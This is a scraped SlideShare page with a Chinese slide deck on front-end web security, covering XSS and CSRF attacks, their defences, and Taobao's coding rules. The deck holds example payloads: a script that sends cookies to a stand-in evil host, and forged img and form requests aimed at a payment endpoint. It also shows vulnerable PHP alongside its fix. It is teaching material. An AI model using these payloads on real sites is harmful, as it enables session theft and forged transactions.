SlideShare une entreprise Scribd logo
1  sur  29
Télécharger pour lire hors ligne
浅谈前端安全与规范



       渔隐
内容概要

       意义
       与前端相关的安全攻击
    ●   XSS 攻击
    ●   CSRF 攻击
       如何防范
       前端安全规范
前端开发为何要关心安全问题

       前端非狭义前端
    ●   在淘宝前端还负责 php 等服务端页面开发
       前端需了解攻击原理
       前端安全引起用户体验下降
       安全问题需要前端和服务端一起参与防范
常见前端安全攻击类型

       XSS
    ●   Cross Site Script ( 跨站脚本攻击 )
       CSRF
    ●   Cross Site Request Forgery ( 跨站请求伪造 )
XSS
XSS

   往 web 页面注入恶意 html 代码
   当其他用户浏览被注入恶意代码的页面时,会遭
    到攻击
   利用 web 页面的输入输出环境
试想

   消息板
    ●   前端页面
           –   <form method=”post”>
                <input type=”text” name=”message” />
                </form>
    ●   后端程序
           –   <?php
                if(isset($_POST['message'])){

                file_put_contents('board.txt',”{$_POST['message']
                }”,FILE_APPEND);
                }
                $messages = file_get_contents('board.txt');
                echo $messages;
                ?>
试想

   用户输入
    ●   <script>document.location='http://evil.xxx.c
        om/get_cookie.php?cookie=' +
        document.cookie</script>
XSS 的种类

   非持久性
   持久性
XSS 的种类
       基于 DOM
    ●   Window.location=http://www.baidu.com
       基于字符集
    ●   PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=
       基于标签
    ●   <a href=”target” onclick=”function()” ““ >target</a>
       基于 cookie
    ●   Cookie 劫持 ,setCookie
       基于 url
    ●   http://target.com/?redirect_url=http://www.baidu.com
典型的 XSS 攻击

       利用前端未对特殊字符转义,服务端未做过滤
    ●   <script>alert(1)</script>
    ●   通过输入输出注入到用户页面
    ●   可以通过 query 或者 form 提交
       利用服务端未对参数做安全验证
    ●   http://3c.tmall.com/?debug=http://nunumick.me
XSS 的防范

   对输入做严格过滤和验证
   对输出做编码
   对页面做严格字符集限定
   对资源的第三方访问权限做严格控制
实践

   防范
    ●   <?php
        if(isset($_POST['message'])){

        file_put_contents('board.txt',”{$_POST['message']}”,FILE_APPE
        ND);
        }
        $messages = file_get_contents('board.txt');
        echo htmlentities($messages);
        ?>
CSRF
Web 安全策略

       同源策略
    ●   同协议
    ●   同域
    ●   同端口
       Cookie 安全策略
    ●   第三方安全
       Flash 安全策略
    ●   Crossdomain.xml
Web 认证方式和浏览器安全缺陷

       通过 cookie 来验证用户身份
    ●   第三方网站请求当前网站时,浏览器会自动附上
        cookie
       不同浏览器 cookie 安全级别不同
    ●   P3P
       单进程浏览器多标签页 cookie 共享
CSRF 原理

   模拟用户操作
   Cookie 隐式认证
   P3P
CSRF 的场景

   登录后的用户交互
   表单提交
   Ajax
CSRF 攻击手段

   伪造 get 请求
   伪造 post 表单请求
   通过 XSS 劫持 cookie 伪造请求
   伪造 referrer 绕过验证
典型的 CSRF 攻击

       利用未经验证来源的 get 请求
    ●   <img src="http://target.com/user/pay.php?num=8888"/>
       利用未经验证来源的 Post 请求
    ●   <form action=”http://target.com/usr/pay.php” type=”post>
        <input name=”num” value=”8888” />
        </form>
CSRF 防范

   首先防范 XSS
   验证 referrer ,此举可阻止大多数普通攻击
   重要 cookie 设置为 http only ,如 token
   使用签名、令牌
   Get 方法只用于查询信息
   表单提交用更安全的 POST
   谨慎使用跨域脚本注入
思考




     淘宝网有哪些页面可以被攻击利用
容易受到 CSRF 攻击的页面

       大多数接口调用
    ●   收藏商品 add_collection.htm?t=&id=&...
    ●   加入购物车 add_cart_item.htm?item_id=&ct=..
    ●   分享商品 create_share.do?t=&sharetype=&...
    ●   下单
    ●   付款
    ●   论坛帮派,群发垃圾消息
       用户登录后可操作域都可被利用
淘宝对 CSRF 的防范

   在页面表单中指定 _tb_token_
   在 cookie 中指定 _tb_token_
   使用 POST 方法提交
   Ajax 时附带 _tb_token_
   验证码
前端安全规范

   JavaScript 安全规范
   Php 安全规范
   HTML 安全规范
JavaScript 安全规范

   禁用外部脚本,前端必须使用 a.tbcdn.cn 上的资
    源文件
   cookie 操作要征得服务端工程师同意,避免撑破
    cookie 大小限制
   禁止发送页面相关信息到第三方站点
   操作型或私密 Ajax 请求,需带上 token
   慎用跨域脚本注入
Php 安全规范

   所有从客户端传递的信息都是不可信的
   慎用 Ajax 接口,接口必须做严格验证和过滤
   Cookie 使用需征得服务端工程师同意,避免撑
    破 cookie 大小限制
HTML 安全规范

   严格显式声明字符类型
   标签必须按照规范良好闭合,属性双引号配对
   DOCTYPE 下空一行,防止 MHTML 攻击
Q&A

Contenu connexe

Tendances

Web dev road map part one
Web dev road map part oneWeb dev road map part one
Web dev road map part one安 闫
 
網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019Justin Lin
 
資訊安全入門
資訊安全入門資訊安全入門
資訊安全入門Tyler Chen
 
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場創科資訊 Trunk Studio
 
6.fet d do_s攻防演練展示
6.fet d do_s攻防演練展示6.fet d do_s攻防演練展示
6.fet d do_s攻防演練展示ChungSC_tw
 
MongoDB Basics and Tutorial
MongoDB Basics and TutorialMongoDB Basics and Tutorial
MongoDB Basics and TutorialHo Kim
 
前端 JavaScript 相关的小Tips
前端 JavaScript 相关的小Tips前端 JavaScript 相关的小Tips
前端 JavaScript 相关的小Tipsblank zheng
 
密码安全吗
密码安全吗密码安全吗
密码安全吗鹏 苏
 

Tendances (9)

Web dev road map part one
Web dev road map part oneWeb dev road map part one
Web dev road map part one
 
網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019網站系統安全及資料保護設計認知 2019
網站系統安全及資料保護設計認知 2019
 
資訊安全入門
資訊安全入門資訊安全入門
資訊安全入門
 
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
 
6.fet d do_s攻防演練展示
6.fet d do_s攻防演練展示6.fet d do_s攻防演練展示
6.fet d do_s攻防演練展示
 
MongoDB Basics and Tutorial
MongoDB Basics and TutorialMongoDB Basics and Tutorial
MongoDB Basics and Tutorial
 
前端 JavaScript 相关的小Tips
前端 JavaScript 相关的小Tips前端 JavaScript 相关的小Tips
前端 JavaScript 相关的小Tips
 
密码安全吗
密码安全吗密码安全吗
密码安全吗
 
Web Introduction
Web IntroductionWeb Introduction
Web Introduction
 

Similaire à 浅谈前端安全与规范(渔隐)

前端MVVM框架安全
前端MVVM框架安全前端MVVM框架安全
前端MVVM框架安全Borg Han
 
用戶端攻擊與防禦
用戶端攻擊與防禦用戶端攻擊與防禦
用戶端攻擊與防禦Taien Wang
 
Telligem 1_xss
Telligem  1_xssTelligem  1_xss
Telligem 1_xsspaitoubing
 
Php应用程序常见安全问题解析
Php应用程序常见安全问题解析Php应用程序常见安全问题解析
Php应用程序常见安全问题解析mysqlops
 
Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦Hiiir Lab
 
軟體弱點掃描
軟體弱點掃描軟體弱點掃描
軟體弱點掃描Rainmaker Ho
 
第四节课:web安全2.0
第四节课:web安全2.0第四节课:web安全2.0
第四节课:web安全2.0Tommy Chang
 
渗透测试思路技术与方法
渗透测试思路技术与方法渗透测试思路技术与方法
渗透测试思路技术与方法
 
黑站騎士
黑站騎士黑站騎士
黑站騎士openblue
 
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知Justin Lin
 
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台Timothy Chen
 
雲端入侵:郵件攻擊與密碼竊取
雲端入侵:郵件攻擊與密碼竊取雲端入侵:郵件攻擊與密碼竊取
雲端入侵:郵件攻擊與密碼竊取openblue
 
希望科技研发部变量命名及编码规范
希望科技研发部变量命名及编码规范希望科技研发部变量命名及编码规范
希望科技研发部变量命名及编码规范Hongjian Wang
 
技术交流 支付二代信息安全及其代收付实现
技术交流 支付二代信息安全及其代收付实现技术交流 支付二代信息安全及其代收付实现
技术交流 支付二代信息安全及其代收付实现Banned Li
 
浏览器的跨域安全问题
浏览器的跨域安全问题浏览器的跨域安全问题
浏览器的跨域安全问题guest4ca427
 
浏览器的跨域安全问题
浏览器的跨域安全问题浏览器的跨域安全问题
浏览器的跨域安全问题raystyle
 
雲端入侵 – 郵件攻擊與密碼竊取
雲端入侵 – 郵件攻擊與密碼竊取雲端入侵 – 郵件攻擊與密碼竊取
雲端入侵 – 郵件攻擊與密碼竊取OFMKT
 
PHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsPHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsHo Kim
 
WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」Orange Tsai
 

Similaire à 浅谈前端安全与规范(渔隐) (20)

前端MVVM框架安全
前端MVVM框架安全前端MVVM框架安全
前端MVVM框架安全
 
用戶端攻擊與防禦
用戶端攻擊與防禦用戶端攻擊與防禦
用戶端攻擊與防禦
 
Telligem 1_xss
Telligem  1_xssTelligem  1_xss
Telligem 1_xss
 
Php应用程序常见安全问题解析
Php应用程序常见安全问题解析Php应用程序常见安全问题解析
Php应用程序常见安全问题解析
 
Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦
 
軟體弱點掃描
軟體弱點掃描軟體弱點掃描
軟體弱點掃描
 
Share xss
Share xssShare xss
Share xss
 
第四节课:web安全2.0
第四节课:web安全2.0第四节课:web安全2.0
第四节课:web安全2.0
 
渗透测试思路技术与方法
渗透测试思路技术与方法渗透测试思路技术与方法
渗透测试思路技术与方法
 
黑站騎士
黑站騎士黑站騎士
黑站騎士
 
網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知
 
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
 
雲端入侵:郵件攻擊與密碼竊取
雲端入侵:郵件攻擊與密碼竊取雲端入侵:郵件攻擊與密碼竊取
雲端入侵:郵件攻擊與密碼竊取
 
希望科技研发部变量命名及编码规范
希望科技研发部变量命名及编码规范希望科技研发部变量命名及编码规范
希望科技研发部变量命名及编码规范
 
技术交流 支付二代信息安全及其代收付实现
技术交流 支付二代信息安全及其代收付实现技术交流 支付二代信息安全及其代收付实现
技术交流 支付二代信息安全及其代收付实现
 
浏览器的跨域安全问题
浏览器的跨域安全问题浏览器的跨域安全问题
浏览器的跨域安全问题
 
浏览器的跨域安全问题
浏览器的跨域安全问题浏览器的跨域安全问题
浏览器的跨域安全问题
 
雲端入侵 – 郵件攻擊與密碼竊取
雲端入侵 – 郵件攻擊與密碼竊取雲端入侵 – 郵件攻擊與密碼竊取
雲端入侵 – 郵件攻擊與密碼竊取
 
PHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming SkillsPHP Coding Standard and 50+ Programming Skills
PHP Coding Standard and 50+ Programming Skills
 
WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」
 

Plus de tbmallf2e

Node getting start
Node getting startNode getting start
Node getting starttbmallf2e
 
猫粮快报
猫粮快报猫粮快报
猫粮快报tbmallf2e
 
618风林火山(仙快羽)
618风林火山(仙快羽)618风林火山(仙快羽)
618风林火山(仙快羽)tbmallf2e
 
新风尚活动分享
新风尚活动分享新风尚活动分享
新风尚活动分享tbmallf2e
 
前端性能优化&测试
前端性能优化&测试前端性能优化&测试
前端性能优化&测试tbmallf2e
 
前端性能测试
前端性能测试前端性能测试
前端性能测试tbmallf2e
 
猫粮快报 金艳艳
猫粮快报 金艳艳猫粮快报 金艳艳
猫粮快报 金艳艳tbmallf2e
 
猫粮快报
猫粮快报猫粮快报
猫粮快报tbmallf2e
 
番茄工作法
番茄工作法番茄工作法
番茄工作法tbmallf2e
 
天祁《交易线》
天祁《交易线》天祁《交易线》
天祁《交易线》tbmallf2e
 
Tmall demo environment
Tmall demo environmentTmall demo environment
Tmall demo environmenttbmallf2e
 
Tm快报201202 daqiu
Tm快报201202 daqiuTm快报201202 daqiu
Tm快报201202 daqiutbmallf2e
 
快速开发Css
快速开发Css快速开发Css
快速开发Csstbmallf2e
 
Google Chrome Developer Tools
Google Chrome Developer ToolsGoogle Chrome Developer Tools
Google Chrome Developer Toolstbmallf2e
 
Hello Html5 Games
Hello Html5 GamesHello Html5 Games
Hello Html5 Gamestbmallf2e
 
Velocity beijing 2011 xianyu
Velocity beijing 2011   xianyuVelocity beijing 2011   xianyu
Velocity beijing 2011 xianyutbmallf2e
 
Chrome中的创意和应用
Chrome中的创意和应用Chrome中的创意和应用
Chrome中的创意和应用tbmallf2e
 

Plus de tbmallf2e (20)

Node getting start
Node getting startNode getting start
Node getting start
 
猫粮快报
猫粮快报猫粮快报
猫粮快报
 
618风林火山(仙快羽)
618风林火山(仙快羽)618风林火山(仙快羽)
618风林火山(仙快羽)
 
新风尚活动分享
新风尚活动分享新风尚活动分享
新风尚活动分享
 
前端性能优化&测试
前端性能优化&测试前端性能优化&测试
前端性能优化&测试
 
前端性能测试
前端性能测试前端性能测试
前端性能测试
 
猫粮快报 金艳艳
猫粮快报 金艳艳猫粮快报 金艳艳
猫粮快报 金艳艳
 
Demo review
Demo reviewDemo review
Demo review
 
猫粮快报
猫粮快报猫粮快报
猫粮快报
 
番茄工作法
番茄工作法番茄工作法
番茄工作法
 
呜龙
呜龙呜龙
呜龙
 
天祁《交易线》
天祁《交易线》天祁《交易线》
天祁《交易线》
 
Tmall demo environment
Tmall demo environmentTmall demo environment
Tmall demo environment
 
Tm快报201202 daqiu
Tm快报201202 daqiuTm快报201202 daqiu
Tm快报201202 daqiu
 
快速开发Css
快速开发Css快速开发Css
快速开发Css
 
Google Chrome Developer Tools
Google Chrome Developer ToolsGoogle Chrome Developer Tools
Google Chrome Developer Tools
 
Hello Html5 Games
Hello Html5 GamesHello Html5 Games
Hello Html5 Games
 
Velocity beijing 2011 xianyu
Velocity beijing 2011   xianyuVelocity beijing 2011   xianyu
Velocity beijing 2011 xianyu
 
Mvc
MvcMvc
Mvc
 
Chrome中的创意和应用
Chrome中的创意和应用Chrome中的创意和应用
Chrome中的创意和应用
 

浅谈前端安全与规范(渔隐)

  • 2. 内容概要  意义  与前端相关的安全攻击 ● XSS 攻击 ● CSRF 攻击  如何防范  前端安全规范
  • 3. 前端开发为何要关心安全问题  前端非狭义前端 ● 在淘宝前端还负责 php 等服务端页面开发  前端需了解攻击原理  前端安全引起用户体验下降  安全问题需要前端和服务端一起参与防范
  • 4. 常见前端安全攻击类型  XSS ● Cross Site Script ( 跨站脚本攻击 )  CSRF ● Cross Site Request Forgery ( 跨站请求伪造 )
  • 5. XSS
  • 6. XSS  往 web 页面注入恶意 html 代码  当其他用户浏览被注入恶意代码的页面时,会遭 到攻击  利用 web 页面的输入输出环境
  • 7. 试想  消息板 ● 前端页面 – <form method=”post”> <input type=”text” name=”message” /> </form> ● 后端程序 – <?php if(isset($_POST['message'])){ file_put_contents('board.txt',”{$_POST['message'] }”,FILE_APPEND); } $messages = file_get_contents('board.txt'); echo $messages; ?>
  • 8. 试想  用户输入 ● <script>document.location='http://evil.xxx.c om/get_cookie.php?cookie=' + document.cookie</script>
  • 9. XSS 的种类  非持久性  持久性
  • 10. XSS 的种类  基于 DOM ● Window.location=http://www.baidu.com  基于字符集 ● PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=  基于标签 ● <a href=”target” onclick=”function()” ““ >target</a>  基于 cookie ● Cookie 劫持 ,setCookie  基于 url ● http://target.com/?redirect_url=http://www.baidu.com
  • 11. 典型的 XSS 攻击  利用前端未对特殊字符转义,服务端未做过滤 ● <script>alert(1)</script> ● 通过输入输出注入到用户页面 ● 可以通过 query 或者 form 提交  利用服务端未对参数做安全验证 ● http://3c.tmall.com/?debug=http://nunumick.me
  • 12. XSS 的防范  对输入做严格过滤和验证  对输出做编码  对页面做严格字符集限定  对资源的第三方访问权限做严格控制
  • 13. 实践  防范 ● <?php if(isset($_POST['message'])){ file_put_contents('board.txt',”{$_POST['message']}”,FILE_APPE ND); } $messages = file_get_contents('board.txt'); echo htmlentities($messages); ?>
  • 14. CSRF
  • 15. Web 安全策略  同源策略 ● 同协议 ● 同域 ● 同端口  Cookie 安全策略 ● 第三方安全  Flash 安全策略 ● Crossdomain.xml
  • 16. Web 认证方式和浏览器安全缺陷  通过 cookie 来验证用户身份 ● 第三方网站请求当前网站时,浏览器会自动附上 cookie  不同浏览器 cookie 安全级别不同 ● P3P  单进程浏览器多标签页 cookie 共享
  • 17. CSRF 原理  模拟用户操作  Cookie 隐式认证  P3P
  • 18. CSRF 的场景  登录后的用户交互  表单提交  Ajax
  • 19. CSRF 攻击手段  伪造 get 请求  伪造 post 表单请求  通过 XSS 劫持 cookie 伪造请求  伪造 referrer 绕过验证
  • 20. 典型的 CSRF 攻击  利用未经验证来源的 get 请求 ● <img src="http://target.com/user/pay.php?num=8888"/>  利用未经验证来源的 Post 请求 ● <form action=”http://target.com/usr/pay.php” type=”post> <input name=”num” value=”8888” /> </form>
  • 21. CSRF 防范  首先防范 XSS  验证 referrer ,此举可阻止大多数普通攻击  重要 cookie 设置为 http only ,如 token  使用签名、令牌  Get 方法只用于查询信息  表单提交用更安全的 POST  谨慎使用跨域脚本注入
  • 22. 思考 淘宝网有哪些页面可以被攻击利用
  • 23. 容易受到 CSRF 攻击的页面  大多数接口调用 ● 收藏商品 add_collection.htm?t=&id=&... ● 加入购物车 add_cart_item.htm?item_id=&ct=.. ● 分享商品 create_share.do?t=&sharetype=&... ● 下单 ● 付款 ● 论坛帮派,群发垃圾消息  用户登录后可操作域都可被利用
  • 24. 淘宝对 CSRF 的防范  在页面表单中指定 _tb_token_  在 cookie 中指定 _tb_token_  使用 POST 方法提交  Ajax 时附带 _tb_token_  验证码
  • 25. 前端安全规范  JavaScript 安全规范  Php 安全规范  HTML 安全规范
  • 26. JavaScript 安全规范  禁用外部脚本,前端必须使用 a.tbcdn.cn 上的资 源文件  cookie 操作要征得服务端工程师同意,避免撑破 cookie 大小限制  禁止发送页面相关信息到第三方站点  操作型或私密 Ajax 请求,需带上 token  慎用跨域脚本注入
  • 27. Php 安全规范  所有从客户端传递的信息都是不可信的  慎用 Ajax 接口,接口必须做严格验证和过滤  Cookie 使用需征得服务端工程师同意,避免撑 破 cookie 大小限制
  • 28. HTML 安全规范  严格显式声明字符类型  标签必须按照规范良好闭合,属性双引号配对  DOCTYPE 下空一行,防止 MHTML 攻击
  • 29. Q&A